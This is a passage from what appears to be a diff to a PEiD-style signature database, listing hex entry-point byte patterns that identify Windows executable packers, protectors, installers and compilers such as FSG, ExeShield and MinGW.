-> www.exeshield.com] +signature = B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F +ep_only = true + +[ExeShield v3.7 -> ExeShield Team (h)] +signature = B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F +ep_only = true + +[EXEStealth v2.75a -> WebtoolMaster (h)] +signature = EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 +ep_only = true + +[FixupPak v1.20] +signature = 55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 +ep_only = true + +[FixupPak v1.20] +signature = 55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 +ep_only = true + +[FreePascal 2.0.0 Win32 -> (Brczi Gbor, Pierre Muller & Peter Vreman)] +signature = C6 05 ?? ?? ?? ?? 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00 +ep_only = true + +[FreePascal 2.0.0 Win32 -> (Brczi Gbor, Pierre Muller & Peter Vreman)] +signature = C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00 +ep_only = true + +[FSG v1.00 (Eng) -> dulek/xt] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 +ep_only = true + +[FSG v1.00 (Eng) -> dulek/xt] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 +ep_only = true + +[FSG v1.10 (Eng) -> bart/xt] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)] +signature = 23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)] +signature = 23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] +signature = 2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] +signature = 2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] +signature = 1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] +signature = 1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)] +signature = 03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)] +signature = 03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = 0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = 0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE +ep_only = true + +[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)] +signature = C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)] +signature = C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] +signature = 0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] +signature = 0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] +signature = 0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] +signature = 0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)] +signature = 33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)] +signature = 33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] +signature = EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 +ep_only = true + +[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] +signature = C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 +ep_only = true + +[FSG v1.3] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 +ep_only = true + +[FSG v1.3] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 +ep_only = true + +[FSG v1.30 (Eng) -> dulek/xt] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 +ep_only = true + +[FSG v1.31 (Eng) -> dulek/xt] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB +ep_only = true + +[FSG v1.31 (Eng) -> dulek/xt] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB +ep_only = true + +[FSG v1.33 (Eng) -> dulek/xt] +signature = BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D +ep_only = true + +[FSG v1.33 (Eng) -> dulek/xt] +signature = BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D +ep_only = true + +[Fuck'n'Joy v1.0c -> UsAr] +signature = 60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 +ep_only = true + +[Fuck'n'Joy v1.0c -> UsAr] +signature = 60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 +ep_only = true + +[Goat's PE Mutilator 1.6] +signature = E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[hmimys Protect v1.0] +signature = E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00 +ep_only = true + +[InstallAnywhere 6.1 -> Zero G Software Inc] +signature = 60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 +ep_only = true + +[InstallAnywhere 6.1 ->Zero G Software Inc] +signature = 60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 +ep_only = true + +[InstallShield Custom] +signature = 55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B +ep_only = true + +[KGB SFX] +signature = 60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 +ep_only = true + +[LaunchAnywhere v4.0.0.1] +signature = 55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3 +ep_only = true + +[Macromedia Windows Flash Projector/Player v5.0] +signature = 83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00 +ep_only = true + +[Microsoft Visual C# / Basic .NET] +signature = FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[Microsoft Visual C++ 6.0 SFX Custom] +signature = E8 21 48 00 00 E9 16 FE FF FF 51 C7 01 08 B4 00 30 E8 A4 48 00 00 59 C3 56 8B F1 E8 EA FF FF FF F6 ?? ?? ?? ?? 74 07 56 E8 F6 04 00 00 59 8B C6 5E C2 04 00 8B 44 24 04 83 C1 09 51 83 C0 09 50 +ep_only = true + +[Microsoft Visual C++ 7.0 Custom] +signature = 60 BE 00 B0 44 00 8D BE 00 60 FB FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 +ep_only = true + +[Microsoft Visual C++ v7.0] +signature = 6A 0C 68 88 BF 01 10 E8 B8 1C 00 00 33 C0 40 89 45 E4 8B 75 0C 33 FF 3B F7 75 0C 39 3D 6C 1E 12 10 0F 84 B3 00 00 00 89 7D FC 3B F0 74 05 83 FE 02 75 31 A1 98 36 12 10 3B C7 74 0C FF 75 10 56 +ep_only = true + +[MinGW v3.2.x (Dll_main)] +signature = 55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 +ep_only = true + +[MinGW v3.2.x (Dll_mainCRTStartup)] +signature = 55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 00 10 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00 +ep_only = true + +[MinGW v3.2.x (Dll_WinMain)] +signature = 55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 +ep_only = true + +[MinGW v3.2.x (main)] +signature = 55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D +ep_only = true + +[MinGW v3.2.x (WinMain)] +signature = 55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D +ep_only = true + +[MinGW v3.2.x (_mainCRTStartup)] +signature = 55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 40 00 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00 +ep_only = true + +[NoodleCrypt v2.00 (Eng) -> NoodleSpa] +signature = EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 